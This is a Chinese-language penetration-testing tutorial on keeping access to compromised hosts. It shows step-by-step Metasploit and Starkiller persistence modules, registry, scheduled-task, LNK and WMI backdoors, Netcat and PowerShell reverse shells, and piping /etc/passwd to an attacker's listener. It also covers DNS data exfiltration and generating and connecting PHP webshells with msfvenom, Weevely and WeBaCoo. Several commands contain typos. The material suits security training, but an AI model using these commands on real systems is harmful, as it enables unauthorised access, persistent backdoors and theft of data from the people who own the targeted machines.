在渗透测试中,持久化是指攻击者在入侵系统后,为了保持对系统的控制,会在系统上留下一些后门或者其他的恶意代码,以确保在目标主机重启、用户凭证更改和系统访问中断后攻击者仍然可以随时重新访问系统,一般而言,持久化工具会为攻击者提供的功能有:
- 维持或回复目标主机的访问权限或会话,无需再次利用漏洞
- 再目标主机上执行任意命令、收集敏感信息、上传或下载文件、植入恶意软件等
- 隐藏自己的痕迹,避免被目标主机的防御系统检测或清除
- 扩大攻击范围,利用目标主机作为跳板,攻击其他内网主机
#### 使用Metaspolit框架实现持久化
Metasploit框架中的Meterpreter会话中包含的几个小模块可用来维持与目标主机的访问权限和会话
1. 修改注册表启动项
在获取最高权限的meterpreter会话后,可以使用persistence模块保持持久性:
```
background #将当前的meterpreter会话放置在后台
use exploit/windows/local/persistence #使用persistence模块
set session 值 #配置会话ID
set lport 端口值 #配置监听端口
exploit
```
2. 创建持久化服务
使用persistence_service模块生成一个可执行文件并上传到目标主机,然后将使它成为一个持久化服务,在服务运行时会执行payload:
```
background #将会话放置在后台
use exploit/windows/local/persistence_service #使用该模块并配置会话ID和监听端口
set session
set lport
exploit
```
由于该持久化服务没有验证功能,所以其他攻击者也可能会通过该服务连接到目标主机
#### 使用Starkiiler框架实现持久化
1. 创建计划任务
在Starkiiler框架中可以选择powershell/persistence/userland/schtasks模块保持与目标主机会话的持久性:
- 先创建一个监听器用以监听计划任务执行的脚本返回的会话
- 设置每天触发脚本的时间,并在Listener处设置监听器名称
- 单击SUBMIT按钮,可以看到目标主机的注册表中添加了计划任务
2. 创建快捷方式后门
在Starkiiler框架中选择powershell/persistence/userland/backdoor_lnk模块保持与目标主机会话的持久性:
- 在LNKPath处填写生成的.LNK文件路径,
- 配置Listener监听器的名称和用于存储脚本代码的注册表位置,最后一个元素为注册表的键名,默认为HKCU:\Software\Microsoft\windows\debug
- 单击SUBMIT按钮提交,可以看到在目标主机的指定路径创建了快捷方式后门,并修改了指定的注册表值
3. 利用WMI部署无文件后门
无文件后门是一种利用系统内存或其他系统资源,而不再硬盘上留下可执行文件的攻击技术,它可以绕过传统的防御措施,因为它不需要再目标系统上写入任何可以的文件
再Starkiiler框架中可以选择powershell/persistence/elevated/wmi_updater模块来维持与目标主机会话的持久性:
- 使用管理员权限上传一个.bat文件到达目标主机
- 将WebFile配置为通过Web路径获取到.bat文件的位置
- 修改DailyTime处的每天执行时间
- 单击SUBMIT按钮提交即可,当目标主机重启后,我们设置的后门将自动运行再目标主机的内存中
#### 持久化交互式代理
持久化交互式代理是一种在渗透测试中使用的技术,可以在目标主机上建立一个长期、可控隐蔽的代理连接,以便对目标主机展开进一步的渗透和攻击,它的优点是可以绕过防火墙和网络隔离,实现对内网系统的访问和控制,缺点是需要在目标主机的系统上植入后门程序或脚本,这可能会被杀毒软件和EDR软件发现。它的原理是利用网络协议或工具,创建或修改一些网络连接和隧道,以实现远程访问控制
1. 使用Netcat实现持久化交互式代理:
它是一种网络工具,可以用来从TCP或UDP网络连接中读写信息,可以用来进行端口扫描、文件传输、远程控制等
- 利用Netcat创建交互式代理会话:(Netcat工具位于Kali系统的/user/share/windows-binaries目录下)
```
upload /user/share/windows-binaries/nc.exe #在meterpreter会话中输入该命令将netcat工具上传到慕白哦主机当前的工作目录中
nc-lvp 端口号 #另启动一个终端,输入命令监听本机的端口号
execute -f "nc.exe 本机IP地址 本机端口 -e c:\windows\system32\cmd.exe" #在meterpreter会话中输入命令,利用natcat获取方向连接的会话,此时查看之前的会话,可以看到成功获取的会话
*可以在execute后面插入" -H "来隐藏该会话
```
- 利用Netcat转储文件:使用Netcat工具通过重定向符号将文件内容作为输入或输出发送到网络连接上建立TCP或UDP连接,从而实现数据的读写
```
nc -lvp 本地监听端口 > pass.txt #在Kali终端输入命令,可监听本地端口内容并将其输入到pass.txt文件中
cat/etc/passwd|nc -vv Kali的主机IP地址 监听端口 #在目标主机上输入命令,可将/etc/passwd文件的内容保存到Kali 的主机使用Netcat工具监听时设置输出的pass.txt文件中
```
2. DNS命令控制:
它是一种利用DNS协议作为通信方式的远程控制技术,其原理是将攻击者命令或者数据编码为DNS查询或响应中的域名或记录,从而绕过防火墙或其他网络安全设备的检测。它的优点是可以隐藏在帧长度饿DNS流量中,不易被发现,且可以利用DNS的缓存和重试机制提高可靠性,缺点是传输速度慢,且受到DNS协议和域名系统的限制
DNSteal是一种利用DNS协议进行数据转储的工具,它可以利用DNS请求将文件从目标主机隐蔽的传输到攻击者控制的DNS服务器,原理是将文件内容编码为合法的DNS域名或记录,然后分割为多个小块,通过DNS查询发送出去,最后在DNS服务器端解码并重组为原始文件
3. PowerShell命令控制:
它是一种利用PowerShell作为通信方式的远程控制技术,其原理是将攻击者的命令或数据编码为PowerShell的脚本或表达式,从而绕过防火墙或其他网络安全设备的检测
- 建立反向会话:
```
nc -lvp 监听端口号 #在Kali主机上输入命令以获取会话
Invoke-PowerSheelTcp-Reverse -IPAddress 本机IP地址 -Port 监听端口 #在目标主机中导入Nishang的shells目录中的Invoke-PowerShellTcp.psl模块与Kali主机进行反向通信
```
- 建立正向会话:
```
Invoke-PwerShellTcp -Bind -Port 本地监听端口 #在目标主机上导入Invoke-PwerShellTcp.psl模块,开启目标主机的监听端口
nc -nv 目标主机IP地址 目标监听端口 #在Kali主机上输入命令即可成功建立正向会话
```
#### WebShell
它是一种利用Web应用程序中的漏洞,将恶意脚本上传到web服务器,从而让攻击者远程执行命令或控制服务器的技术。它可以让攻击者在目标主机上创建一个持久的后门,使得攻击者在任何时候重新连接到目标主机上并执行命令。其优点是可以隐藏正常的web流量中,不易被发现,且可以web程序支持多种语言和框架的编写,具有的功能:
- 执行系统命令,例如查看、修改、删除文件
- 窃取用户数据,例如读取或修改删除数据库
- 删除或篡改Web页面,例如清空网站内容
- 横向移动或持久化访问,例如利用WebShell连接其他内网主机
- 参与监视网络或其他攻击活动,例如将WebShell作为中级或控制端,向其他主机发起攻击或传播恶意文件
1. Metasploit框架的网页后门:
```
msfvenom -p php/merterpreter/reverse_tcp LHOST=本机IP地址 LPORT=本机监听端口 -f raw > webshell.php #在Kali终端输入命令,生成一个反向链接的webshell
use exploit/multi/handler #将生成的webshell文件上传到目标服务器的web目录下,启动metasploit框架,输入命令
set payload php/meterpreter/reverse_tcp #选择监听模块
set lhost Kali本机IP地址 #配置监听模块
exploit
```
2. Weevely:
它是Kali Linux自带的一款使用python编写的WebSell工具,可以生成和连接PHP后门:
```
weevely generate 连接密码 生成的webshell文件名 #在Kali终端创建一个有密码的WebShell文件
*通过某种方式将WebShell文件上传或注入目标服务器,例如利用文件上传漏洞、SQL注入漏洞、远程文件包含漏洞等
weevely 上传或注入WebShell的目标服务器的地址 webshell连接密码 #即可连接Weevely生成的webshell文件
```
在连接后WebShell后,会自动以目标主机系统的命令行程序运行,可以输入并执行相应的系统命令
- 获取目标信息:
- system_info:获取目标主机的详细信息
- system_procs:列出当前目标主机运行的进程
- system_filesystem:检查目标主机系统的哪些文件目录拥有创建、写入和执行的权限
- 文件操作:
- file_edit:编辑指定的文件
- file_rm:删除指定的文件
- file_cp:复制文件
- file_upload2web:上传文件到目标主机的Web目录并获取对应的URL
- file_dwonload:下载目标主机文件
- 执行命令或代码:
- shell_su:通过SU切换目标主机的用户执行命令
- shell_php:执行php代码
- shell_sh:以指定的方式执行代码
3. WeBaCoo:
是使用Perl语言编写的WebShell工具,可以生成一个PHP格式的后门文件,当攻击者将其上传到目标服务器时,便可以通过Cookie的方式传递和执行命令,特点是隐蔽下强,不易被察觉
```
apt install #在Kali上安装webacoo
webacoo -g -o 文件名 #生成一个PHP格式的后门文件
webacoo -t -u 上传的URL地址 #将PHP格式的后门文件上传到主机的Web目录下并确认上传的URL地址,然后输入命令,即可连接
-t #表示建立远程连接来执行交互式命令
-u #用于指定上传的URL地址
```
4. 蚁剑:是一款开源的跨平台WebShell管理工具,可以用来生成和连接不同类型的WebShell,并且支持流量混淆和多款使用插件,其特点有:
- 支持多种脚本类型,如PHP、ASP、ASPX、JSP等
- 支持多种功能模块
- 支持多种编码和解码
- 支持多种插件
5. WebShell文件:在Kali Linux中,不仅包含用于生成WebShell并进行连接以管理WebShell工具,还自带了许多WebShell文件,他们位于/user/share/webshells 目录下,攻击者可以选择对应系统的文件进行使用